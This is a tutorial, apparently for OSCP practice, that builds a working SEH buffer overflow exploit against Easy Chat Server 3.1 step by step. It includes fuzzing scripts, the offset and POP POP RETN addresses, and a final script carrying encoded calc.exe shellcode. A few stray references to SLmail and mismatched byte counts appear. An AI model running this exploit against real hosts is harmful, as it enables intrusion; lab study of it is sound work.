I'm going to be cover how to exploit the Easy Chat Server 3.1 Stack buffer overflow vulnerability on a Windows 7 32 bit virtual machine. This is perfect practice for anyone that is in the process of, or prepping for the PWK labs/OSCP exam!
Prerequisites
- Windows XP/7 32 bit machine with Immunity Debugger, Python 2.7 and SLmail downloaded
Immunity Debugger
, Download Immunity DebuggerPython 2.7
, it can be installed during the Immunity Debugger installMona.py
, Download Mona.pyEasy Chat Server 3.1
, Download Easy Chat Server
Step 1: Install Prerequisite Software
- Install
Immunity Debugger
andPython 2.7
, these can both be installed through the Immunity Debugger installation wizard. - Place
mona.py
into the folder:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
- Set up the mona working directory logging within Immunity Debugger:
!mona config -set workingfolder c:\logs\%p
- Install
Easy Chat Server 3.1
through the executable installation wizard, accepting all the set defaults then selecttry it!
.
Step 2: Start the Easy Chat Server
Once we have installed Easy Chat Server through the installation wizard, we can start the chat server by executing the application. You will see the application pop up, and if you look at the bottom left of the application, you will see that the chat server is online.
Step 3: Access the Easy Chat Server
To access the chat server itself, we need to browse to 127.0.0.1. You will see from the main page that there are several chat rooms already created, to access the chat rooms as an admin, we can use the default credentials of the admin account, admin:admin
.
Enter one of the chats and you'll see that the URL looks something like this: http://127.0.0.1/chat.ghp?username=admin&password=admin&room=1&sex=2
Step 4: Testing the username parameter manually
We know that the username parameter is the exploitable parameter for the buffer overflow, so lets test this manually first before creating fuzzing scripts etc to finds the exact overflow location.
Copy the URL of the chatroom and return to the main chat server page. Paste the URL into the search bar and press enter. You will see this error: This username has logged on, please select another username!
Change the username parameter from username=admin
to multiple A
characters like so username=AAAAAAAAAAAAAAAAAA
, keep increasing the number of A
characters until finally, you will see that the Easy Chat Server crashes and has stopped working.
We have now confirmed that the username parameter is vulnerable manually.
Step 5: Start Easy Chat Server within Immunity Debugger
Before we attempt to exploit the Chat Server, we need to setup Immunity Debugger with the Chat Server application on the Windows VM.
By starting the Chat Server within Immunity, it allows us to see vital information that help us to exploit the buffer overflow vulnerability.
- Open
Immunity Debugger
withRun as administrator
- Click
file
thenattach
- Locate
EasyChat
and then clickattach
.
- To start
EasyChat.exe
within Immunity Debugger, press theplay
icon orF9
.
Step 6: Fuzz the application
We can now start to create our buffer overflow exploit by fuzzing the username parameter with a python script.
The python script below, 01-fuzzing.py
will fuzz the username parameter of the chat server by continuously increasing the characters in increments of 50 until the application crashes.
For the script to give us the estimated location of the crash, we will need to manually close the application once it does crash, the script will then give us the estimated crash location.
#!/usr/bin/python
import socket
import sys
from time import sleep
target_ip = '127.0.0.1'
target_port = 80
fuzz = 'A' * 50
buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=1 HTTP/1.1\r\n\r\n'
buffer += 'Host: 127.0.0.1\r\n\r\n'
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target_ip,target_port))
print '[*] Fuzzing username with buffer length: ' + str(len(fuzz))
s.send(buffer)
s.close()
sleep (2)
buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=2 HTTP/1.1\r\n'
buffer += 'Host: 127.0.0.1\r\n\r\n'
fuzz += 'A' * 50
except:
print '[*] Crash occurred at buffer length: ' + str(len(fuzz)-50)
sys.exit()
Run the script from the Windows command line:
C:\Python27\ python.exe 01-fuzzing.py
Once the program crashes, and we close it manually, the fuzzing script gives us this output whichi indicates the crash happens between 201 and 250 bytes:
[*] Fuzzing username with buffer length: 50
[*] Fuzzing username with buffer length: 100
[*] Fuzzing username with buffer length: 150
[*] Fuzzing username with buffer length: 200
[*] Fuzzing username with buffer length: 250
[*] Crash occurred at buffer length: 250
When looking at Immunity Debugger, We can see from the bottom of the Immunity application that we have we have created an access violation and that the SEH chain of thread has our 41414141
corrupt entry in it.
If we pass the exception to the program with Shift+F9
it shows that we have successfully overflowed the buffer into the EIP address space with our A
characters, 41414141
is hexadecimal for 4 A
characters.
Step 7: Find the EIP register offset
EIP is the Extended instruction pointer for the stack, it tells the computer where to go next to execute the next command and controls the flow of an application. The goal is to overwrite the EIP with a memory address that directs the application to malicious code. To do this, we need to find out exactly how many characters it takes to reach the EIP without overwriting it.
This is where mona.py
comes into play. Mona is a plugin for Immunity Debugger that can help us exploit the SLmail application.
We will use Mona to create a unique string of characters to determine the exact offset to the EIP register, and as we know that the application crashes between 2501 and 3000 bytes, lets create a pattern of 3000 bytes inside Immunity Debugger:
!mona pc 300
This will create a text file inside the folder c:\logs\EasyChat\
called pattern
with the 300 unique character pattern inside:
We will now copy the 01-fuzzing.py
script and make a new script called 02-finding_eip_offset.py
and replace the buffer of A characters with the Hex pattern created by Mona.
#!/usr/bin/python
import socket
target_ip = '127.0.0.1'
target_port = 80
pattern = ("\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38\x41\x6a\x39")
buffer = 'GET /chat.ghp?username=' + pattern + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()
Start EasyChat.exe inside Immunity Debugger and run the newly created script, then run the script from the Windows command line:
C:\Python27\ python.exe 02-finding_eip_offset.py
Again we get an access violation message displayed on the bottom status bar, but more importantly, if we press shift + F9
we will see that instead of 41414141
as the EIP value, we have 68413368
.
We can now utilise Mona to find the exact EIP register offset value with the pattern offset command:
!mona po 68413368
And as you can see from the Mona output, the exact EIP register offset value is 220
Step 8: Control the EIP register
To make sure that the offset given from Mona of 220
is correct, we can confirm that we have control of the EIP register by copying the 02-finding_eip_offset.py
script and creating a new script, 03-control_eip.py
.
We will modify it so that instead of containing the mona pattern as the buffer, it will contain 220 A
characters and 4 B
characters meaning when we run the new script, we should see that in Immunity Debugger, once we input shift+F9
the EIP value is 42424242
which is Hexadecimal for 4 B
characters, confirming that we have control over the EIP register.
#!/usr/bin/python
import socket
target_ip = '127.0.0.1'
target_port = 80
eip_confirm = 'A' * 220 + 'B' * 4 + 'C' * 100
buffer = 'GET /chat.ghp?username=' + eip_confirm + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()
... And just like that, another access violation in Immunity, with the EIP value of 42424242
just like we wanted!
Step 9: Finding a module with no SafeSEH
Because we have had to use shift+F9
to pass the access vilation to the program, we need to find a module that is not using SafeSEH and place the address of the module in the location of where the SEH handler gets triggered.
We will use mona to find modules that are not using SafeSEH:
!mona nosafeseh
From the output above, we can see that there are 3 modules that are not using SafeSEH. I'm going to attempt to use the first module, C:\Program Files\Easy Chat Server\SSLEAY32.dllSSLEAY32.dll
.
We can view the module in more detail:
View > Executable Modules > `C:\Program Files\Easy Chat Server\SSLEAY32.dll
Step 10: POP, POP, RETN
Now that we are inside the module, we need to search for a viable POP, POP, RETN sequence.
Here is an explanation as to why we need a to find a POP, POP, RETN sequence:
POP POP RET is a sequence of instructions needed in order to create SEH
(Structured Exception Handler) exploits. The registers to which the popped values
go are not important for the exploits to succeed, only the fact that ESP is moved
towards higher addresses twice and then a RET is executed. Thus, either POP EAX,
POP EBX, RET, or POP ECX, POP ECX, RET or POP EDX, POP EAX, RET (and so on) will do.
Each time a POP <register> occurs, ESP is moved towards higher addresses by one
position (1 position = 4 bytes for a 32-bit architecture). Each time a RET occurs,
the contents of the address ESP points at are put in EIP and executed.
In order to create successful SEH exploits, the address of a POP POP RET sequence
has to be found. This will enable the attacker to move ESP towards higher addresses
twice and then transfer execution at the address where ESP points at.
Check out the full post on the purpose of the POP, POP, RETN instruction sequence
Now that we have an understanding of why we need such a sequence, it is time to find one within the SSLEAY32.dll
module. We can use the Immunity search function to find a sequence of commands:
Right click the CPU window (Top Left) > Search for > Sequence of commands
Note that we have added, r32
to the command, this is shorthand for any 32 bit register, we select any 32 bit register as we are not concerned as to where our data is popped.
Immunity finds this valid instruction sequence starting from 10011FAC
:
We can now edit our exploit script to include the POP, POP, RETN address and an interrupt breakpoint of 4 bytes, which will be taken from our offset total number. Create a new script and call it 04-seh.py
#!/usr/bin/python
import socket
target_ip = '127.0.0.1'
target_port = 80
exploit = '\x41' * 216 # offset minus 4 bytes
exploit += '\xCC\xCC\xCC\xCC' # interrupt breakpoint
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location
exploit += '\x42' * 30 # B chars as junk
buffer = 'GET /chat.ghp?username=' + exploit + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 04-seh.py
We will see again that we have an access violation, and if we check the SEH chain, we can see we have the correct Module address, with the overwrite being set correctly.
If we press shift+F9
to pass the exception to the program, we can see that we have stepped through the POP, POP, RETN to the interrupts, confirming that we have control of the execution.
The exploit payload can be seen clearly here with the A characters being followed by the interrupt then the POP, POP, RETN then the B junk bytes:
Step 11: Rootin' out those bad characters
Not all hexadecimal characters can be used in shellcode. For example characters like /x00
, a null byte are used to indicate the end of a string, meaning if they are in your shellcode payload, it would cut off the string at that point, meaning our payload will not be fully executed. Other bad characters vary from application to application, so it is important to check for them on every application.
We can use the follow in dump
function to clearly show the buffer variable contents and spot any characters that are out of place and need excluding from our shellcode.
Lets create a new script, 05-finding_bad_chars.py
and add a new variable, badchars
which will contain every hexadecimal character except \x00, \x20, \x0a, \x0d
as these will be bad charaters due to the exploit being a GET request and will replace the junk B
characters from the exploit
variable.
We will also remove the interrupt and add a jump of 8 bytes so that the application can jump over where we landed and some NOPS to help distinguish the list of hex characters:
#!/usr/bin/python
import socket
target_ip = '127.0.0.1'
target_port = 80
exploit = '\x41' * 216 # offset minus 4 bytes
exploit += '\xEB\x06\x90\x90' # jump 8 bytes
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location
nops = '\x90' * 16 # NOP sled
bad_chars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11" +
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" +
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e" +
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" +
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c" +
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b" +
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a" +
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89" +
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7" +
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" +
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" +
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4" +
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" +
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" +
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = 'GET /chat.ghp?username=' + exploit + nops + bad_chars + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 05-finding_bad_chars.py
We can see from the Immunity output that there no more bad characters in the application!
Step 12: Overflow exploit... ASSEMBLE!
- Do we control the EIP register? Yes!
- Have we found a suitable no SafeSEH module? Yes!
This means we are finally at the point where we can assemble our exploitation script with a few tweaks from the previous script:
- Remove the
badchars
variable - Merge the
nops
variable into theexploit
variable - Add a new variable called
shellcode
- This will be a windows calc.exe POC payload.
Lets create the final python script, 06-final_exploit.py
#!/usr/bin/python
import socket
target_ip = '127.0.0.1'
target_port = 80
exploit = '\x90' * 216 # offset minus 4 bytes
exploit += '\xEB\x06\x90\x90' # jump 8 bytes
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location
exploit += '\x90' * 16 # NOP sled
shellcode = "\x89\xe6\xdb\xc2\xd9\x76\xf4\x59\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
shellcode += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x6a\x69\x61\x59"
shellcode += "\x46\x51\x6b\x62\x6d\x33\x32\x67\x33\x62\x51\x78\x73"
shellcode += "\x53\x51\x71\x70\x6c\x43\x53\x4d\x59\x4a\x46\x43\x62"
shellcode += "\x42\x76\x55\x34\x6e\x6b\x74\x32\x34\x70\x4e\x6b\x72"
shellcode += "\x56\x34\x4c\x4c\x4b\x51\x66\x36\x6c\x6e\x4d\x4e\x6b"
shellcode += "\x56\x50\x4c\x4b\x53\x4e\x62\x38\x4e\x6b\x73\x6f\x47"
shellcode += "\x4c\x6c\x4b\x51\x4c\x45\x4f\x63\x48\x4c\x4b\x74\x34"
shellcode += "\x55\x4f\x61\x30\x55\x51\x69\x6e\x6e\x6b\x62\x6c\x35"
shellcode += "\x4f\x76\x44\x65\x51\x69\x69\x34\x4f\x68\x37\x44\x6c"
shellcode += "\x63\x61\x71\x52\x4e\x4d\x6b\x31\x57\x4c\x73\x37\x51"
shellcode += "\x47\x45\x39\x70\x6e\x32\x65\x50\x75\x39\x61\x4c\x4b"
shellcode += "\x32\x54\x67\x6f\x67\x6c\x33\x31\x69\x6e\x43\x33\x37"
shellcode += "\x4c\x4c\x6e\x4b\x4f\x4a\x77\x31\x7a\x65\x30\x51\x4a"
shellcode += "\x35\x38\x43\x53\x30\x61\x72\x4c\x30\x63\x52\x74\x30"
shellcode += "\x59\x73\x78\x6e\x63\x68\x6c\x71\x38\x62\x45\x72\x68"
shellcode += "\x4e\x6b\x70\x32\x62\x68\x4e\x6b\x34\x36\x57\x68\x52"
shellcode += "\x68\x4e\x6b\x61\x66\x46\x70\x50\x48\x6e\x4d\x57\x38"
shellcode += "\x4c\x4b\x34\x70\x43\x78\x4c\x4b\x31\x6e\x66\x50\x34"
shellcode += "\x43\x70\x57\x37\x4c\x6e\x6b\x33\x6c\x46\x77\x61\x38"
shellcode += "\x6e\x6b\x44\x34\x35\x4f\x37\x50\x71\x58\x45\x51\x4b"
shellcode += "\x4e\x6c\x4b\x56\x34\x67\x6f\x56\x44\x66\x6f\x6d\x67"
shellcode += "\x36\x4c\x76\x77\x4c\x4d\x53\x62\x56\x62\x4e\x4d\x4d"
shellcode += "\x51\x35\x6c\x37\x77\x61\x47\x32\x49\x52\x4e\x37\x35"
shellcode += "\x52\x55\x58\x6f\x6e\x6b\x74\x34\x67\x6f\x57\x6c\x70"
shellcode += "\x48\x57\x71\x39\x6e\x4e\x6b\x35\x64\x6c\x6e\x33\x78"
shellcode += "\x63\x31\x4a\x57\x6a\x39\x69\x6f\x49\x47\x41\x41"
buffer = 'GET /chat.ghp?username=' + exploit + shellcode + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host: 127.0.0.1\r\n\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 06-final_exploit.py
Pass the exception to the program, shift+F9
and we get our calculator pop up, indicating that we have successfully exploited the buffer overflow vulnerability!
Conclusion
And that is how you exploit the buffer overflow vulnerability in Easy Chat Server 3.1!
If you have any questions, find me on twitter (@CraigUnder) or drop me an email at craig.underhill@onsecurity.co.uk